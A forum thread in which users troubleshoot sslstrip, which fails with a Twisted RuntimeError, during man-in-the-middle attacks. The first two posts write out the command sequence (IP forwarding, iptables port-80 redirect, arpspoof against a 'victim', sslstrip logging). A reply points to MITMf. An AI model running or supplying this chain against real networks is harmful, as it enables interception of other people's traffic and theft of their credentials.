Results 1 to 3 of 3

Thread: Sslstrip issues

  1. #1
    Join Date

    Sslstrip issues

    Hi to everyone. I am tring to do a man in the middle with Sslstrip but my log file is empty-The strange thing is that the command
    urlsnarf -i wlan0
    shows me the urls visited by the victim. This is the command I used:

    echo 1 > /proc/sys/net/ipv4/ip_forward
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    iptables -I INPUT 1 -p tcp --dport 8080 -j ACCEPT
    arpspoof -i wlan0 -t -r
    sslstrip -w miolog.txt -l 8080
    tail -f miolog.txt
    and Sslstrip shows this exception:

    Unhandled Error
    Traceback (most recent call last):
      File "/usr/bin/sslstrip", line 105, in main
      File "/usr/lib/python2.7/dist-packages/twisted/internet/", line 1192, in run
      File "/usr/lib/python2.7/dist-packages/twisted/internet/", line 1204, in mainLoop
      File "/usr/lib/python2.7/dist-packages/twisted/internet/", line 396, in doPoll
        log.callWithLogger(selectable, _drdw, selectable, fd, event)
    --- <exception caught here> ---
      File "/usr/lib/python2.7/dist-packages/twisted/python/", line 88, in callWithLogger
        return callWithContext({"system": lp}, func, *args, **kw)
      File "/usr/lib/python2.7/dist-packages/twisted/python/", line 73, in callWithContext
        return{ILogContext: newCtx}, func, *args, **kw)
      File "/usr/lib/python2.7/dist-packages/twisted/python/", line 118, in callWithContext
        return self.currentContext().callWithContext(ctx, func, *args, **kw)
      File "/usr/lib/python2.7/dist-packages/twisted/python/", line 81, in callWithContext
        return func(*args,**kw)
      File "/usr/lib/python2.7/dist-packages/twisted/internet/", line 627, in _doReadOrWrite
        self._disconnectSelectable(selectable, why, inRead)
      File "/usr/lib/python2.7/dist-packages/twisted/internet/", line 260, in _disconnectSelectable
      File "/usr/lib/python2.7/dist-packages/twisted/internet/", line 484, in connectionLost
        self._commonConnection.connectionLost(self, reason)
      File "/usr/lib/python2.7/dist-packages/twisted/internet/", line 298, in connectionLost
      File "/usr/lib/python2.7/dist-packages/twisted/web/", line 474, in connectionLost
      File "/usr/share/sslstrip/sslstrip/", line 119, in handleResponseEnd
      File "/usr/lib/python2.7/dist-packages/twisted/web/", line 485, in handleResponseEnd
      File "/usr/share/sslstrip/sslstrip/", line 133, in handleResponse
      File "/usr/lib/python2.7/dist-packages/twisted/web/", line 962, in write
        raise RuntimeError('Request.write called on a request after '
    exceptions.RuntimeError: Request.write called on a request after Request.finish was called.

  2. #2
    Join Date
    I am also facing a problem with sslstrip. i followed the following steps:
    iptables -t nat -A PREROUTING --dport 80 -j REDIRECT --to-port 8080

    checked it with:
    iptables -t nat -L PREROUTING

    arpspoof -i wlan0 -t -r (2 times)

    (texts show up but stop after 10 seconds)

    sslstrip -w logfile.log -l 8080

    tail -f logfile.log

    nothing shows up now.

    ps: i have verified with the help of termux that my other device (android smartphone) has IP address has

    I didn't want to start a new thread for this as it's better that all the problems regarding the same topic be there in the same thread. However, mods may remove it from this thread and ask me to post in the new thread if it's inconvenient.

  3. #3
    Join Date
    Sslstrip is embedded in the mitmf package. MTeams ran into similar problems with sslstrip when including this feature into Pwnstar9.0

    Suggest you read the following link.

    Musket Teams

Similar Threads

  1. Replies: 0
    Last Post: 2014-01-30, 09:01

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts